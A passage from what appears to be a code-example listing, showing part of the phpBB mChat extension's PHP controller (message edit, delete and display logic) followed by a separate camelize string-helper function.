: 2));
                // reset the config settings
                if (isset($old_cfg['min_post_chars'])) {
                    $this->config['min_post_chars'] = $old_cfg['min_post_chars'];
                    unset($old_cfg['min_post_chars']);
                }
                if (isset($old_cfg['max_post_smilies'])) {
                    $this->config['max_post_smilies'] = $old_cfg['max_post_smilies'];
                    unset($old_cfg['max_post_smilies']);
                }
                //adds a log
                //	$message_author = get_username_string('no_profile', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']);
                //	add_log('admin', 'LOG_EDITED_MCHAT', $message_author);
                $this->phpbb_log->add('admin', $this->user->data['user_id'], $this->user->ip, 'LOG_EDITED_MCHAT', false, array($row['username']));
                // insert user into the mChat sessions table
                $this->functions_mchat->mchat_sessions($mchat_session_time, true);
                // If read mode request set true
                $mchat_read_mode = true;
                break;
                // Delete function...
            // Delete function...
            case 'delete':
                $message_id = $this->request->variable('message_id', 0);
                // If mChat disabled
                if (!$this->config['mchat_enable'] || !$message_id) {
                    // Forbidden (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                }
                // check for the correct user
                $sql = 'SELECT m.*, u.username, u.user_colour
					FROM ' . $this->mchat_table . ' m
					LEFT JOIN ' . USERS_TABLE . ' u ON m.user_id = u.user_id
					WHERE m.message_id = ' . (int) $message_id;
                $result = $this->db->sql_query($sql);
                $row = $this->db->sql_fetchrow($result);
                $this->db->sql_freeresult($result);
                // edit and delete auths
                $mchat_edit = $this->auth->acl_get('u_mchat_edit') && ($this->auth->acl_get('m_') || $this->user->data['user_id'] == $row['user_id']) ? true : false;
                $mchat_del = $this->auth->acl_get('u_mchat_delete') && ($this->auth->acl_get('m_') || $this->user->data['user_id'] == $row['user_id']) ? true : false;
                // If mChat disabled
                if (!$mchat_del) {
                    // Forbidden (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                }
                // Run delete!
                $sql = 'DELETE FROM ' . $this->mchat_table . '
					WHERE message_id = ' . (int) $message_id;
                $this->db->sql_query($sql);
                //adds a log
                $this->phpbb_log->add('admin', $this->user->data['user_id'], $this->user->ip, 'LOG_DELETED_MCHAT', false, array($row['username']));
                // insert user into the mChat sessions table
                $this->functions_mchat->mchat_sessions($mchat_session_time, true);
                // Stop running code
                if ($this->request->is_ajax()) {
                    // Return for: \Symfony\Component\HttpFoundation\JsonResponse
                    return array('json' => true, 'success' => true);
                } else {
                    exit_handler();
                }
                break;
                // Default function...
            // Default function...
            default:
                // If not include in index.php set mchat.php page true
                if (!$include_on_index) {
                    // Yes its custom page...
                    $mchat_custom_page = true;
                    // If custom page false mchat.php page redirect to index...
                    if (!$this->config_mchat['custom_page'] && $mchat_custom_page) {
                        $mchat_redirect = append_sid("{$this->phpbb_root_path}index.{$this->phpEx}");
                        // Redirect to previous page
                        meta_refresh(3, $mchat_redirect);
                        trigger_error($this->user->lang['MCHAT_NO_CUSTOM_PAGE'] . '<br /><br />' . sprintf($this->user->lang['RETURN_PAGE'], '<a href="' . $mchat_redirect . '">', '</a>'));
                    }
                    // user has permissions to view the custom chat?
                    if (!$mchat_view && $mchat_custom_page) {
                        trigger_error('NOT_AUTHORISED', E_USER_NOTICE);
                    }
                    // if whois true
                    if ($this->config_mchat['whois']) {
                        // Grab group details for legend display for who is online on the custom page.
                        $order_legend = $this->config['legend_sort_groupname'] ? 'group_name' : 'group_legend';
                        if ($this->auth->acl_gets('a_group', 'a_groupadd', 'a_groupdel')) {
                            $sql = 'SELECT group_id, group_name, group_colour, group_type FROM ' . GROUPS_TABLE . '
						WHERE group_legend <> 0
							ORDER BY ' . $order_legend . ' ASC';
                        } else {
                            $sql = 'SELECT g.group_id, g.group_name, g.group_colour, g.group_type FROM ' . GROUPS_TABLE . ' g
						LEFT JOIN ' . USER_GROUP_TABLE . ' ug ON (g.group_id = ug.group_id AND ug.user_id = ' . $this->user->data['user_id'] . ' AND ug.user_pending = 0)
							WHERE g.group_legend <> 0
								AND (g.group_type <> ' . GROUP_HIDDEN . '
									OR ug.user_id = ' . (int) $this->user->data['user_id'] . ')
							ORDER BY g.' . $order_legend . ' ASC';
                        }
                        $result = $this->db->sql_query($sql);
                        $legend = array();
                        while ($row = $this->db->sql_fetchrow($result)) {
                            $colour_text = $row['group_colour'] ? ' style="color:#' . $row['group_colour'] . '"' : '';
                            $group_name = $row['group_type'] == GROUP_SPECIAL ? $this->user->lang['G_' . $row['group_name']] : $row['group_name'];
                            if ($row['group_name'] == 'BOTS' || $this->user->data['user_id'] != ANONYMOUS && !$this->auth->acl_get('u_viewprofile')) {
                                $legend[] = '<span' . $colour_text . '>' . $group_name . '</span>';
                            } else {
                                $legend[] = '<a' . $colour_text . ' href="' . append_sid("{$this->phpbb_root_path}memberlist.{$this->phpEx}", 'mode=group&amp;g=' . $row['group_id']) . '">' . $group_name . '</a>';
                            }
                        }
                        $this->db->sql_freeresult($result);
                        $legend = implode(', ', $legend);
                        // Assign index specific vars
                        $this->template->assign_vars(array('LEGEND' => $legend));
                    }
                    $this->template->assign_block_vars('navlinks', array('FORUM_NAME' => $this->user->lang['MCHAT_TITLE'], 'U_VIEW_FORUM' => $this->helper->route('dmzx_mchat_controller')));
                }
                // Run code...
                if ($mchat_view) {
                    $message_number = $mchat_custom_page ? $this->config_mchat['message_limit'] : $this->config_mchat['message_num'];
                    $sql_where = $this->user->data['user_mchat_topics'] ? '' : 'WHERE m.forum_id = 0';
                    // Message row
                    $sql = 'SELECT m.*, u.username, u.user_colour, u.user_avatar, u.user_avatar_type, u.user_avatar_width, u.user_avatar_height, u.user_allow_pm
						FROM ' . $this->mchat_table . ' m
							LEFT JOIN ' . USERS_TABLE . ' u ON m.user_id = u.user_id
						' . $sql_where . '
						ORDER BY message_id DESC';
                    $result = $this->db->sql_query_limit($sql, $message_number);
                    $rows = $this->db->sql_fetchrowset($result);
                    $this->db->sql_freeresult($result);
                    if ($this->config['mchat_message_top']) {
                        $rows = array_reverse($rows, true);
                    }
                    foreach ($rows as $row) {
                        // auth check
                        if ($row['forum_id'] != 0 && !$this->auth->acl_get('f_read', $row['forum_id'])) {
                            continue;
                        }
                        // edit, delete and permission auths
                        $mchat_ban = $this->auth->acl_get('a_authusers') && $this->user->data['user_id'] != $row['user_id'] ? true : false;
                        // edit auths
                        if ($this->user->data['user_id'] == ANONYMOUS && $this->user->data['user_id'] == $row['user_id']) {
                            $chat_auths = $this->user->data['session_ip'] == $row['user_ip'] ? true : false;
                        } else {
                            $chat_auths = $this->user->data['user_id'] == $row['user_id'] ? true : false;
                        }
                        $mchat_edit = $this->auth->acl_get('u_mchat_edit') && ($this->auth->acl_get('m_') || $chat_auths) ? true : false;
                        $mchat_del = $this->auth->acl_get('u_mchat_delete') && ($this->auth->acl_get('m_') || $chat_auths) ? true : false;
                        $mchat_avatar = $row['user_avatar'] ? get_user_avatar($row['user_avatar'], $row['user_avatar_type'], $row['user_avatar_width'] > $row['user_avatar_height'] ? 40 : 40 / $row['user_avatar_height'] * $row['user_avatar_width'], $row['user_avatar_height'] > $row['user_avatar_width'] ? 40 : 40 / $row['user_avatar_width'] * $row['user_avatar_height']) : '';
                        $message_edit = $row['message'];
                        decode_message($message_edit, $row['bbcode_uid']);
                        $message_edit = str_replace('"', '&quot;', $message_edit);
                        // Edit Fix ;)
                        $message_edit = mb_ereg_replace("'", "&#146;", $message_edit);
                        if (sizeof($foes_array)) {
                            if (in_array($row['user_id'], $foes_array)) {
                                $row['message'] = sprintf($this->user->lang['MCHAT_FOE'], get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']));
                            }
                        }
                        $row['username'] = mb_ereg_replace("'", "&#146;", $row['username']);
                        $message = str_replace('\'', '&rsquo;', $row['message']);
                        $this->template->assign_block_vars('mchatrow', array('MCHAT_ALLOW_BAN' => $mchat_ban, 'MCHAT_ALLOW_EDIT' => $mchat_edit, 'MCHAT_ALLOW_DEL' => $mchat_del, 'MCHAT_USER_AVATAR' => $mchat_avatar, 'U_VIEWPROFILE' => $row['user_id'] != ANONYMOUS ? append_sid("{$this->phpbb_root_path}memberlist.{$this->phpEx}", 'mode=viewprofile&amp;u=' . $row['user_id']) : '', 'U_USER_IDS' => $row['user_id'] != ANONYMOUS && $this->user->data['user_id'] != $row['user_id'] ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'BOT_USER_ID' => $row['user_id'] != '1', 'U_USER_ID' => $row['user_id'] != ANONYMOUS && $this->config['allow_privmsg'] && $this->auth->acl_get('u_sendpm') && $this->user->data['user_id'] != $row['user_id'] && $row['user_id'] != '1' && ($row['user_allow_pm'] || $this->auth->acl_gets('a_', 'm_') || $this->auth->acl_getf_global('m_')) ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'MCHAT_MESSAGE_EDIT' => $message_edit, 'MCHAT_MESSAGE_ID' => $row['message_id'], 'MCHAT_USERNAME_FULL' => get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME' => get_username_string('username', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME_COLOR' => get_username_string('colour', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USER_IP' => $row['user_ip'], 'MCHAT_U_WHOIS' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'whois', 'ip' => $row['user_ip'])), 'MCHAT_U_BAN' => append_sid("{$this->phpbb_root_path}adm/index.{$this->phpEx}", 'i=permissions&amp;mode=setting_user_global&amp;user_id[0]=' . $row['user_id'], true, $this->user->session_id), 'MCHAT_MESSAGE' => generate_text_for_display($message, $row['bbcode_uid'], $row['bbcode_bitfield'], $row['bbcode_options']), 'MCHAT_TIME' => $this->user->format_date($row['message_time'], $this->config_mchat['date']), 'MCHAT_CLASS' => $row['message_id'] % 2 ? 1 : 2));
                    }
                    // Write no message
                    if (empty($rows)) {
                        $mchat_no_message = true;
                    }
                    // display custom bbcodes
                    if ($mchat_allow_bbcode && $this->config['allow_bbcode']) {
                        $this->functions_mchat->display_mchat_bbcodes();
                    }
                    // Smile row
                    if ($mchat_smilies) {
                        if (!function_exists('generate_smilies')) {
                            include $this->phpbb_root_path . 'includes/functions_posting.' . $this->phpEx;
                        }
                        generate_smilies('inline', 0);
                    }
                    // If the static message is defined in the language file use it, else just use the entry in the database
                    if (isset($this->user->lang[strtoupper('static_message')]) || !empty($this->config_mchat['static_message'])) {
                        $this->config_mchat['static_message'] = $this->config_mchat['static_message'];
                        if (isset($this->user->lang[strtoupper('static_message')])) {
                            $this->config_mchat['static_message'] = $this->user->lang[strtoupper('static_message')];
                        }
                    }
                    // If the static message is defined in the language file use it, else just use the entry in the database
                    if (isset($this->user->lang[strtoupper('mchat_rules')]) || !empty($this->config_mchat['rules'])) {
                        if (isset($this->user->lang[strtoupper('mchat_rules')])) {
                            $this->config_mchat['rules'] = $this->user->lang[strtoupper('mchat_rules')];
                        }
                    }
                    // a list of users using the chat
                    if ($mchat_custom_page) {
                        $mchat_users = $this->functions_mchat->mchat_users($mchat_session_time, true);
                    } else {
                        $mchat_users = $this->functions_mchat->mchat_users($mchat_session_time);
                    }
                    $this->template->assign_vars(array('MCHAT_USERS_COUNT' => $mchat_users['mchat_users_count'], 'MCHAT_USERS_LIST' => $mchat_users['online_userlist']));
                }
                break;
        }
        // show index stats
        if (!empty($this->config['mchat_stats_index']) && !empty($this->user->data['user_mchat_stats_index'])) {
            // stats display
            $mchat_session_time = !empty($this->config_mchat['timeout']) ? $this->config_mchat['timeout'] : $this->config['session_length'];
            $mchat_stats = $this->functions_mchat->mchat_users($mchat_session_time);
            $this->template->assign_vars(array('MCHAT_INDEX_STATS' => true, 'MCHAT_INDEX_USERS_COUNT' => $mchat_stats['mchat_users_count'], 'MCHAT_INDEX_USERS_LIST' => !empty($mchat_stats['online_userlist']) ? $mchat_stats['online_userlist'] : '', 'L_MCHAT_ONLINE_EXPLAIN' => $mchat_stats['refresh_message']));
        }
        $copyright = base64_decode('PGEgaHJlZj0iaHR0cDovL3JtY2dpcnI4My5vcmciPlJNY0dpcnI4MzwvYT4gJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly93d3cuZG16eC13ZWIubmV0IiB0aXRsZT0id3d3LmRtengtd2ViLm5ldCI+ZG16eDwvYT4=');
        add_form_key('mchat_posting');
        // Template function...
        $this->template->assign_vars(array('MCHAT_FILE_NAME' => $this->helper->route('dmzx_mchat_controller'), 'MCHAT_REFRESH_JS' => 1000 * $this->config_mchat['refresh'], 'MCHAT_ADD_MESSAGE' => $mchat_add_mess, 'MCHAT_READ_MODE' => $mchat_read_mode, 'MCHAT_ARCHIVE_MODE' => $mchat_archive_mode, 'MCHAT_INPUT_TYPE' => $this->user->data['user_mchat_input_area'], 'MCHAT_RULES' => $mchat_rules, 'MCHAT_ALLOW_SMILES' => $mchat_smilies, 'MCHAT_ALLOW_IP' => $mchat_ip, 'MCHAT_ALLOW_PM' => $mchat_pm, 'MCHAT_ALLOW_LIKE' => $mchat_like, 'MCHAT_ALLOW_QUOTE' => $mchat_quote, 'MCHAT_NOMESSAGE_MODE' => $mchat_no_message, 'MCHAT_ALLOW_BBCODES' => $mchat_allow_bbcode && $this->config['allow_bbcode'] ? true : false, 'MCHAT_MESSAGE_TOP' => $this->config['mchat_message_top'] ? true : false, 'MCHAT_ENABLE' => $this->config['mchat_enable'], 'MCHAT_ARCHIVE_URL' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'archive')), 'MCHAT_CUSTOM_PAGE' => $mchat_custom_page, 'MCHAT_INDEX_HEIGHT' => $this->config_mchat['index_height'], 'MCHAT_CUSTOM_HEIGHT' => $this->config_mchat['custom_height'], 'MCHAT_READ_ARCHIVE_BUTTON' => $mchat_read_archive, 'MCHAT_FOUNDER' => $mchat_founder, 'MCHAT_CLEAN_URL' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'clean', 'redirect' => $on_page)), 'MCHAT_STATIC_MESS' => !empty($this->config_mchat['static_message']) ? htmlspecialchars_decode($this->config_mchat['static_message']) : '', 'L_MCHAT_COPYRIGHT' => $copyright, 'MCHAT_WHOIS' => $this->config_mchat['whois'], 'MCHAT_MESSAGE_LNGTH' => $this->config_mchat['max_message_lngth'], 'L_MCHAT_MESSAGE_LNGTH_EXPLAIN' => intval($this->config_mchat['max_message_lngth']) ? sprintf($this->user->lang['MCHAT_MESSAGE_LNGTH_EXPLAIN'], intval($this->config_mchat['max_message_lngth'])) : '', 'MCHAT_MESS_LONG' => sprintf($this->user->lang['MCHAT_MESS_LONG'], $this->config_mchat['max_message_lngth']), 'MCHAT_USER_TIMEOUT' => $this->config_mchat['timeout'] ? 1000 * $this->config_mchat['timeout'] : false, 'MCHAT_WHOIS_REFRESH' => 1000 * $this->config_mchat['whois_refresh'], 'MCHAT_PAUSE_ON_INPUT' => $this->config_mchat['pause_on_input'] ? true : false, 'L_MCHAT_ONLINE_EXPLAIN' => $this->functions_mchat->mchat_session_time($mchat_session_time), 'MCHAT_REFRESH_YES' => sprintf($this->user->lang['MCHAT_REFRESH_YES'], $this->config_mchat['refresh']), 'L_MCHAT_WHOIS_REFRESH_EXPLAIN' => sprintf($this->user->lang['WHO_IS_REFRESH_EXPLAIN'], $this->config_mchat['whois_refresh']), 'S_MCHAT_AVATARS' => $mchat_avatars, 'S_MCHAT_LOCATION' => $this->config_mchat['location'], 'S_MCHAT_SOUND_YES' => $this->user->data['user_mchat_sound'], 'S_MCHAT_INDEX_STATS' => $this->user->data['user_mchat_stats_index'], 'U_MORE_SMILIES' => append_sid("{$this->phpbb_root_path}posting.{$this->phpEx}", 'mode=smilies'), 'U_MCHAT_RULES' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'rules')), 'S_MCHAT_ON_INDEX' => $this->config['mchat_on_index'] && !empty($this->user->data['user_mchat_index']) ? true : false));
        // Return for: \$this->helper->render(filename, lang_title);
        return array('filename' => 'mchat_body.html', 'lang_title' => $this->user->lang['MCHAT_TITLE']);
    }
Example #28
0
 /**
  * Returns given word as CamelCased
  * 
  * Converts a word like "send_email" to "SendEmail". It
  * will remove non alphanumeric character from the word, so
  * "who's online" will be converted to "WhoSOnline"
  * 
  * @access public
  * @static
  * @see variablize
  * @param    string    $word    Word to convert to camel case
  * @return string UpperCamelCasedWord
  */
 public static function camelize($word, $ucfirst = true)
 {
     $word = self::latinize($word);
     if (preg_match('/[^A-Z^a-z^0-9]+/', $word) == 0) {
         return $ucfirst ? utf8_ucfirst($word) : $word;
     }
     $word = str_replace(' ', '', utf8_ucwords(preg_replace('/[^A-Z^a-z^0-9]+/', ' ', $word)));
     if (!$ucfirst) {
         $word = substr_replace($word, strtolower(substr($word, 0, 1)), 0, 1);
     }
     return $word;
 }